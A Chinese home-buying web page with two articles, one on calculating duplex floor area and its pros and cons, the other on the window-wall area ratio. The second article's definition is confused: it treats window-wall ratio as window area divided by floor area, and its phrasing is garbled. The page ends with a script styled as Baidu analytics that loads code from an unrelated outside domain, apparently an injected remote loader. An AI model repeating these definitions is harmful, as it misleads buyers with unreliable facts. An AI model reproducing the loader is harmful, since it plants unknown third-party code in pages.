复式住宅面积计算？步骤方法介绍

复式房子和普通的单层的套间相比较而言，整体结构比较紧凑，而且往往能够应对一些美式欧式装修风格的需要，兼具有美观实用两者的因素，但是复式房子的具体的购置过程中也有许多注意事项需要提前参考和学习，包括类似下文所说的就是关于面积的计算以及优势和缺陷方面的对比考量，消费者朋友们可以综合实际进行学习和了解，相信借此就能够达到令人满意的效果，或者我们也可以综合复式的房子本身的特点动手测量面积。一、复式楼价格怎么算1、复式房住宅实际上并不是具备完整的两层空间,夹层在底层的投影面积只占据底层面积的一部分。夹层可做成房间也可以做成跑马廊形式,夹层悬空的一侧不做墙壁或墙面后退,在平面的外边缘有栏杆或栏板。2、上面的人可以看见下面,下面的人也可以看见上面,形成一种不完全的空间,一般称其为排空和底层之间有视线上的交流,空间完全由楼板分隔,只通过楼梯联系,和跃层住宅的空间是两种不同的类型。3、跃层住宅如果是完整的两层,其建筑面积或使用面积均应是两屋的建筑面积或使用面积相加之和。如果跃层部分的高度不够一个完整的层高,坡屋顶使用面积的计算标准如下:1、使用房间的净高度低处不应低于1.5米(含);2、使用房间净面积的一半(含)以上不低于2.1米。满足上述条件的房间其净面积可全部计入使用面积。若房间超过2.1米(含)部分不足房间总面积的一半,则按超过2.1米(含)部分净面积的2倍计入使用面积。复式住宅的面积计算也参照同一标准。如果夹层面积部分满足上述条件,应计入使用面积。二、复式房子好不好1、户内隔层为木结构,将隔断、家具、装饰融为一体,既是墙,又是楼板、床、柜,降低了综合造价。平面利用系数高,室内空间利用率高,通过夹件层复合,可使住宅的使用面积提高50%～70%。2、由于复式设计的特点,复式住宅在空间使用率上要远远优于普通住宅。通过隔层,复式住宅相对于普通住宅多扩展出了50%甚至更多的使用空间。简单的说,这是一种向高度要空间的设计思路。3、上部层采用推拉窗户,通风采光好,与一般层高和面积相同住宅相比,土地利用率可提高40%。4、更加个性化的私人设计:通过对室内空间的再设计、再分割,可以融入更多的创意体现个性。在实际的设计中就有下层全部为家庭娱乐核心、而上层全部为非待客区域的设计,十分富有个性。5、复式住宅不是真正意义上两层楼。所以,在将空间分割成上下两层后必然会使这两层在层高上受到一些影响。虽然动静分开了、储物空间也大了,但是这些是以牺牲层高为代价的。6、楼梯的设计在复式住宅中显得尤为重要。如果想节省空间就要将楼梯设计得陡一些、窄一些,这样就会给老人和小孩带来很大的不便甚至危险。而将楼梯设计的宽了、平了又会占用过多的室内空间很难两全。类似上文所述为大家说明举例的就是关于复式房子的面积的计算方法以及评价，由此入手可以得知，因为它们和普通的单层的套间不一样，往往还包括楼梯，所以在面积计算的过程中，应该综合这些方面的差异入手选择和对比。除此之外，更进一步的可以得知复式房子的优点和缺点也有不少，优点包括结构比较大方，缺点包括行动可能不太方便，大家应该综合自己的实际需求和情况进行了解。

窗墙面积比住宅是什么？应该怎么算？

很多人虽然买了新房，但很多人可能都没听说过窗墙面积比住宅这个概念。窗墙面积比住宅是什么？窗墙面积比又该怎么计算呢？接下来，小编就给大家仔细讲讲这些问题。窗墙面积比住宅是指室内地板线到屋顶高度线的一层包络结构（不包括栏杆的高度和脚的高度），窗墙面积比住宅是房间的窗户开口的面积与房间的地板面积的比率，是建筑和建筑热能的热设计中常用的指标。窗口面积比住宅是直接自然采光室的侧窗开口面积Ac与房间的地板面积Ad的比率。不同的建筑空间是不同的，以确保房间的亮度。距离地面0.8米以下的窗户的窗户开口面积不包括在窗户比率中。例如，当房间深度是窗户高度的2.5倍时，获得最小照明系数1％的单侧照明室的窗口面积比率约为1/6。在住宅设计中，客厅的窗户一般为为1/6~1/4，卧室的窗户比例一般为1/6~1/8，楼梯间-1/12，工业建筑中间窗口的比例是1/8。窗墙面积比住宅该怎么计算呢？实际上，窗墙面积比需要根据窗户和墙体的具体朝向计算。其朝向有相应的标准，每45度角设置一个方向。例如东北和西北之间的90度角就算做北向。这个规定其实不是同一个，不同的地方有不同的标准，具体要看你所在地是如何规定朝向的，根据你所在地的规定进行计算。在我们买新房或装修房子的时候，难免会有许许多多不懂的地方。大家一定要多向懂得这些的人请教，或者多上网浏览关于装修的知识。虽然你一时觉得这些比如窗墙面积比住宅这种冷门的知识没用，但说不定有一天就会有很多地方需要用到，到时候再帮人帮忙就晚了。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();